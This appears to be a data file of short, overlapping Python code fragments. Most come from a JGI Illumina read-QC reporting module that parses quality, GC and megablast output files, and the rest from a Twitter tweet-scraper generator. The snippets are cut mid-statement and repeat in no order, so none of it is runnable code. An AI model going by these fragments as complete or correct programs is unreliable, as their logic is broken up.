merFH.readlines() ## last line", "378701 2 34 12515957 33.05 33 34 34 1 32 34 112178 83555", "None # num = 0 # # if os.path.isfile(qrpt): # with open(qrpt, \"r\")", "#75000 46.592 53.444 11648 13361 #100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile):", "... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines = merFH.readlines() ## last", "megablast parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the", "int(t[0]) nbase = int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats:", "%s %s %s %s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and", "0.00000 #2 12175 0.00593 #3 0 0.00000 #4 0 0.00000 #5 0 0.00000", "83917 81999 104127 85 378701 # ## 2 378701 2 34 12515957 33.05", "RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ## matchings = 0 hitCount =", "taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#'", "10 37 98021 90611 89040 101029 0 378701 # # pos = None", "len(t) == 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \"", "#assert len(t) == 5 totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer =", "and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function", "= RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found: %s\" % (histFile)) return", "10 10 37 98021 90611 89040 101029 0 378701 # # pos =", "%s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE +", "of read level QC Usage : base_level_qual_stats($analysis, $) Args : 1) A reference", "else: q20 = pos else: log.error(\"- bqHist file not found: %s\" % (bqHist))", "are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s, Q10 %s, Q5", "None t = l.split() try: qavg = int(t[0]) nbase = int(t[1]) percent =", "Q20 using a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0]", "add megablast tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find", "= os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s", "1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and Q10_seen", "nbase, percent)) cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if", "5 6 7 8 9 10 11 12 13 14 15 16 17", "right results: %s, %s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks =", "# 5 0 0.00000 # 6 0 0.00000 if len(l) > 0: if", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and qavg > 15", "36 pos = None mean = None t = l.split(\"\\t\") pos = int(t[0])", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and Q25_seen != 0: Q20_seen =", "files ## matchings = 0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" %", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen = 1 statsPerc[10] = cummlatPer", "os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null", "readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20 = None if", "= %s\" % (bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\") as", "This function is intended to be called at the very end of the", "script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq", "= 0 Q20_seen = 0 Q15_seen = 0 Q10_seen = 0 Q5_seen =", "cummlatBase elif qavg == 10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] =", "(qrpt)) # return None # # # return q20 def q20_score_new(bqHist, readNum, log):", "5 and Q10_seen == 0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] =", "statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15:", "level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer", "## Process blast output files ## matchings = 0 hitCount = 0 parsedFile", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0 and Q10_seen != 0: Q5_seen", "file not found: %s\" % (dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function", "common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title :", "qrptFH: # for l in qrptFH: # num += 1 # # if", "%s\" % (dataFile)) return retCode \"\"\" Title : base_level_qual_stats Function : Generate qual", "Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15", "0 37 37 114586 68297 78020 117740 58 378701 # ## # ##", "log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score", "hits ## topHit = 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _,", "log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ##", "0.00000 # 4 0 0.00000 # 5 0 0.00000 # 6 0 0.00000", "% (taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \"", ": read_gc_mean Function : This function generates average GC content % and its", "RW_2 # 0 6900 0 36 33.48 33 34 34 29 36 6900", "= 0 Q5_seen = 0 ## New format ##Median 38 ##Mean 37.061 ##STDev", "'^#' %s 2>/dev/null | wc -l \" % (taxlistFile), True, log) t =", "int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log) ## ## Find", "378701 # ## 4 378701 2 37 9686653 25.58 19 32 33 14", "46.592 53.444 11648 13361 #100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with", "species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \"", "stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0", "### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os import sys", "RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file ## tophitFound, _, exitCode =", "Failed to add megablast top100hit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE else:", "Illumina read level report could be successfully generated. JGI_FAILURE: Illumina read level report", "Q20_seen = 0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 ##", "l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None nbase = None", "os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null", "statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ##", "statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and Q15_seen", "20 and qavg > 15 and Q20_seen == 0: Q20_seen = 1 stats[20]", "log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20 = None if os.path.isfile(bqHist):", "13 14 15 16 17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0. Base quality values", "-l \" % (top100hitFile), True, log) t = species.split() if len(t) == 1", "sulsj (<EMAIL>) \"\"\" import os import sys ## custom libs in \"../lib/\" srcDir", "databases. Usage : read_megablast_hits(db_name, log) Args : blast db name or full path", "%s %s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and", "l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"):", "+= percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer > 100:", "os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line = histFH.readline() ## we only need", "retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath)) return", "37 37 114586 68297 78020 117740 58 378701 # ## # ## or", "t = l.split() assert len(t) == 3 qavg = int(t[0]) percent = float(t[2])", "2 37 13790443 36.42 37 37 37 0 37 37 114586 68297 78020", "the illumina read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode", "Title : read_megablast_hits Function : This function generates tophit list of megablast against", "\"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen =", "l in qrptFH: # num += 1 # # if num == 1:", "percent = float(t[2]) * 100.0 ## 20140826 Changed for bbtools cummlatPer = cummlatPer", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else:", "megablast against different databases. Usage : read_megablast_hits(db_name, log) Args : blast db name", "totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer", "5.890 # #Mean_30 35.303 # #STDev_30 1.517 # #Quality bases fraction # 0", "scores and plots of read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args", "of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file", "3 0 0.00000 # 4 0 0.00000 # 5 0 0.00000 # 6", "the taxonomic species ## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db))", "RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile =", "2>/dev/null | wc -l \" % (taxlistFile), True, log) t = species.split() if", "RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2", "data #count first rand first_cnt rand_cnt # 0 1 2 3 4 #25000", "tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"-", "= cummlatPer ### Double check that no value is missing. if Q25_seen ==", "log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title :", "int(t[0]) # mean = float(t[5]) # # if mean and pos: # if", "line.split() assert len(toks) == 9 mean = float(toks[6][1:]) * 100.0 stdev = float(toks[8][:-1])", "megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files", "if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist text file", "\" \" + db, topHit, log) ## ## wc the taxonomic species ##", "qavg <= 10 and qavg > 5 and Q10_seen == 0: Q10_seen =", "18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2", "read_megablast_hits(db_name, log) Args : blast db name or full path Returns : SUCCESS", "0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer", "= None # t = l.split(\"\\t\") # assert len(t) > 6 # pos", "stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found: %s\" %", "q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20", "2) current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level report could", "Max_count # ## 1 378701 2 34 8875097 23.44 25 26 28 3", "== 15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] =", "\"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer", "JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean = 0.0 stdev = 0.0", "hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode =", "6900 0 36 33.48 33 34 34 29 36 6900 0 36 33.48", "% (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate qual scores", "not be generated. Comments : This function is intended to be called at", "Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0,", "Q25 %s, Q20 %s, Q15 %s, Q10 %s, Q5 %s\" % \\ (stats[30],", "base_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object 2) current", "wc the top 100 hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\"", "1 2 3 4 ##25000 2500 0.1 9704 0.3882 ## New data #count", "37 98021 90611 89040 101029 0 378701 # # pos = None #", "0 and Q10_seen != 0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] =", "# ############## # ## Old format # ## READ1.qrpt # ## column count" ]
[ "\"\"\"Constants indicating compass directions used throughout deathgod.\"\"\" (NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST,", "directions used throughout deathgod.\"\"\" (NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, NORTHWEST) =", "used throughout deathgod.\"\"\" (NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, NORTHWEST) = list(range(8))", "indicating compass directions used throughout deathgod.\"\"\" (NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST,", "compass directions used throughout deathgod.\"\"\" (NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, NORTHWEST)" ]
[ "def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria", "receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input", "and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active: json", "results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML", "__init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets", "break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld by", "if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove", "TweetCriteria param noTweets: input type noTweets: int yields tweets that satisfy the criteria", "isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = [] resultsAux = [] cookieJar =", "= tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return", "== 0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets", "json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet')", "[] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\")", "results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in", "len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0 and len(results)", "receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active", ">= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets", "def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None,", "noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield", "tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp", "Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results) >=", "= json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter Guidelines", "int yields tweets that satisfy the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria,", "0 and len(results) >= tweetCriteria.maxTweets: active = False break if receiveBuffer and len(resultsAux)", "by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while", "0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets", "TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets", "sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria", "True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0:", "active = False break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results)", "while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets", "tweets that satisfy the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor", "input type tweetCriteria: TweetCriteria param noTweets: input type noTweets: int yields tweets that", "= getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def", "[] resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or", "tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results) >= noTweets: tmp", "= sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria =", "and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if tweetCriteria.maxTweets > 0 and", "and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets] results", "> 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:]", "type noTweets: int yields tweets that satisfy the criteria ''' assert isinstance(noTweets, int)", "self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type", "= results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in tweets:", "TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria,", "refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter", "assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results = [] resultsAux = [] cookieJar", "= [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and", "Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets)", "import PyQuery from .. import models from . import TweetCriteria from . import", "= results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for", "noTweets yield tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if", "tmp for tweetHTML in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and", "tweetCriteria.username[1:-1] active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if", "results[noTweets:] tweetCriteria.maxTweets = tweetCriteria.maxTweets - noTweets yield tmp for tweetHTML in tweets: tweet", "noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria", "break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp", "import TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()): assert", "= False break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >=", "__next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria:", "= scrapedTweets('div.js-stream-tweet') if len(tweets) == 0: break while len(results) >= noTweets: tmp =", "incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) ==", "and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active =", "criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria) refreshCursor = '' results =", "tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets = scrapedTweets('div.js-stream-tweet') if len(tweets) == 0:", "hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1]", "import TweetCriteria from . import TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint,", "0: break while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets", ".. import models from . import TweetCriteria from . import TweetHelper class TweetGenerator(object):", "(tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active: json =", "tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux", "bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input type", "models from . import TweetCriteria from . import TweetHelper class TweetGenerator(object): def __init__(self,", ". import TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria = TweetCriteria()):", "TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = []", "yields tweets that satisfy the criteria ''' assert isinstance(noTweets, int) assert isinstance(tweetCriteria, TweetCriteria)", "@staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria:", "len(tweets) == 0: break while len(results) >= noTweets: tmp = results[:noTweets] results =", "len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets] results =", "and len(results) >= tweetCriteria.maxTweets: active = False break if receiveBuffer and len(resultsAux) >", "noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets:", "tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next()", "= [] if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active = False", "from .. import models from . import TweetCriteria from . import TweetHelper class", "import models from . import TweetCriteria from . import TweetHelper class TweetGenerator(object): def", "tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active:", "json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor =", "TweetHelper.getJsonResponse(tweetCriteria, refreshCursor, cookieJar, proxy) if len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets", "tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True while active: json = TweetHelper.getJsonResponse(tweetCriteria, refreshCursor,", "assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria, self.noTweets)", "= '' results = [] resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria,", "receiveBuffer(resultsAux) while len(results) >= noTweets: tmp = results[:noTweets] results = results[noTweets:] tweetCriteria.maxTweets =", "in tweets: tweet = TweetHelper().parseTweet(tweetHTML) results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength:", "len(json['items_html'].strip()) == 0: break refreshCursor = json['min_position'] scrapedTweets = PyQuery(json['items_html']) # Remove incomplete", "(tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username = tweetCriteria.username[1:-1] active = True", "param tweetCriteria: input type tweetCriteria: TweetCriteria param noTweets: input type noTweets: int yields", "TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter = getTweetsGen(self.tweetCriteria,", "getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): ''' param tweetCriteria: input type tweetCriteria: TweetCriteria param", "TweetCriteria from . import TweetHelper class TweetGenerator(object): def __init__(self, noTweets = sys.maxint, tweetCriteria", "False break if receiveBuffer and len(resultsAux) > 0: receiveBuffer(resultsAux) while len(results) >= noTweets:", "self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria, noTweets, receiveBuffer=None, bufferLength=100, proxy=None): '''", "tweetCriteria = TweetCriteria()): assert isinstance(tweetCriteria, dict) self.noTweets = noTweets self.tweetCriteria = tweetCriteria self.tweetIter", "getTweetsGen(self.tweetCriteria, self.noTweets) def __iter__(self): return self.tweetIter def __next__(self): return self.tweetIter.next() @staticmethod def getTweets(tweetCriteria,", "pyquery import PyQuery from .. import models from . import TweetCriteria from .", "results.append(tweet) resultsAux.append(tweet) if receiveBuffer and len(resultsAux) >= bufferLength: receiveBuffer(resultsAux) resultsAux = [] if", "> 0 and len(results) >= tweetCriteria.maxTweets: active = False break if receiveBuffer and", "[] if tweetCriteria.maxTweets > 0 and len(results) >= tweetCriteria.maxTweets: active = False break", "= PyQuery(json['items_html']) # Remove incomplete tweets withheld by Twitter Guidelines scrapedTweets.remove('div.withheld-tweet') tweets =", "import json,sys,cookielib from pyquery import PyQuery from .. import models from . import", "'' results = [] resultsAux = [] cookieJar = cookielib.CookieJar() if hasattr(tweetCriteria, 'username')", "if hasattr(tweetCriteria, 'username') and (tweetCriteria.username.startswith(\"\\'\") or tweetCriteria.username.startswith(\"\\\"\")) and (tweetCriteria.username.endswith(\"\\'\") or tweetCriteria.username.endswith(\"\\\"\")): tweetCriteria.username =", "= cookielib.CookieJar() if 